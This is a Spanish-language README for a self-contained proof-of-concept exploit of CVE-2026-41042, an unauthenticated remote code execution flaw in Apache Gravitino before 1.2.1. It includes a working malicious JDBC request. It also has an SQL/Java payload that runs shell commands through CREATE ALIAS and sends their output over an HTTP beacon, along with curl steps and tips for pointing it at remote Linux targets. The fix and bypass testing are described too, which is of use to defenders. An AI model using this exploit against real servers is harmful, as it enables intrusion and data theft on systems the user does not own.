
Explota RCE no autenticado en Apache Gravitino < 1.2.1 mediante H2 JDBC INIT; aloja payloads SQL/Java, ejecuta comandos y exfiltra la salida a través de un beacon HTTP.
Prueba de concepto autocontenida, solo con la biblioteca estándar, para CVE-2026-41042: ejecución remota de código no autenticada en Apache Gravitino anterior a 1.2.1 mediante el ajuste de conexión INIT de H2 JDBC. Sin cabeceras de autenticación, sin controladores adicionales, sin instalaciones con pip.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
El script aloja el payload SQL y un beacon de salida, lanza la petición testConnection e imprime directamente la salida estándar del comando.
CVE asignado el 2026-07-08, atribuido a Junjie Li (Universidad de Xidian). Esta es la primera PoC pública funcional para el problema. PoC de Akinlabi.
| Vulnerables | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Corregida | 1.2.1 |
| Aviso | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 se incluye en libs/ de Gravitino como backend predeterminado del almacén de entidades, por lo que el controlador H2 ya está en el classpath del servidor. No es necesario desplegar ningún controlador adicional para que el exploit funcione.
POST /api/metalakes/{metalake}/catalogs/testConnection (recurso de Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produce application/vnd.gravitino.v1+json) acepta un CatalogCreateRequest. El valor de properties.jdbc-url se entrega a la fábrica de conexiones del proveedor del catálogo sin validación del controlador JDBC.
Usar el controlador H2 incluido (org.h2.Driver) junto con el ajuste de conexión INIT de H2 ejecuta SQL arbitrario en el momento de la conexión, y CREATE ALIAS compila y ejecuta Java arbitrario en el servidor. El endpoint no requiere autenticación.
Requisitos: Python 3, solo biblioteca estándar.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| Opción | Por defecto | Descripción |
|---|---|---|
target | (obligatorio) | Servidor Gravitino, p. ej. http://127.0.0.1:8090 |
--metalake | test_ml | Metalake bajo el que se probará el catálogo |
--cmd | whoami | Comando a ejecutar en el objetivo |
--port | 9000 | Puerto local para el servidor HTTP del payload y el beacon |
Ejemplos:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
Si el metalake no existe, créalo primero (también sin autenticación):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 con dos rutas: /poc.sql sirve el payload generado, /beacon?out=... captura la salida del comando.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC ejecuta el comando y devuelve su salida estándar como cadena; BEACON la exfiltra al listener mediante HTTP; el script consulta el beacon durante hasta 5 segundos e imprime la salida.
jdbc-mysql (checkJDBCDriverVersion) se dispara después de que la conexión se inicialice, por lo que el error es cosmético: el INIT ya se ejecutó. La ruta de error es la ruta de ejecución.Se genera un nombre de base de datos en memoria aleatorio nuevo en cada ejecución (secrets.token_hex(6)), por lo que los alias de H2 nunca persisten entre ejecuciones y cada ejecución es determinista.
El mismo jdbc-url malicioso también funciona a través de POST /api/metalakes/{ml}/catalogs, que devuelve HTTP 200 y persiste la URL INIT de H2 en la configuración del catálogo. Cualquier operación posterior que fuerce la conexión activa la ejecución en el momento de la inicialización:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Ambos puntos de entrada pasan por la misma ruta initialize() -> DataSourceUtils.createDataSource, por lo que la corrección 1.2.1 cubre ambos.
DataSourceUtils.createDataSource ahora bloquea URLs y controladores H2 (commits 84d3de9c7c / 5daabcd0e, verificado en el árbol 1.3.0):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode ejecuta URLDecoder hasta 5 veces, por lo que codificar el prefijo con percent-encoding no evita la comprobación. JdbcUrlUtils.validateJdbcConfig (también llamado desde createDBCPDataSource) bloquea además parámetros MySQL/MariaDB/PostgreSQL conocidos como inseguros (autoDeserialize, allowLoadLocalInfile, socketFactory y similares).
Se probaron intentos de bypass contra una réplica de la comprobación con H2 1.4.200 real: espacios en blanco al principio y al final, percent-encoding 6x+, trucos de mayúsculas/minúsculas y tabuladores, trucos de sufijos y proveedores no JDBC. No se encontró ningún bypass limpio; el vector H2 parece firmemente corregido en 1.2.1.
Apache lo clasifica como de baja severidad, citando que H2 es solo para desarrollo/pruebas y que Gravitino suele ser interno. La instalación predeterminada contradice eso:
testConnection y createCatalog no requieren autenticación cuando gravitino.authorization.enable=false, que es el valor predeterminado0.0.0.0:8090Estimación realista de CVSS v3.1: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), sujeta a la alcanzabilidad del puerto de Gravitino.
127.0.0.1. Esto coincide con un laboratorio donde atacante y objetivo comparten host. Para un objetivo remoto, cambia las referencias 127.0.0.1 en make_payload() y exploit() a la IP de tu listener.cmd.exe /c (laboratorio Windows). En objetivos Linux, sustituye la línea new String[]{"cmd.exe", "/c", cmd} por /bin/sh -c.createCatalog no está automatizada en este script; usa la petición manual anterior.Solo para pruebas de seguridad autorizadas e investigación. Cada técnica aquí fue desarrollada y verificada en un laboratorio local. Apuntar esto a un sistema que no te pertenece puede ser ilegal en tu jurisdicción.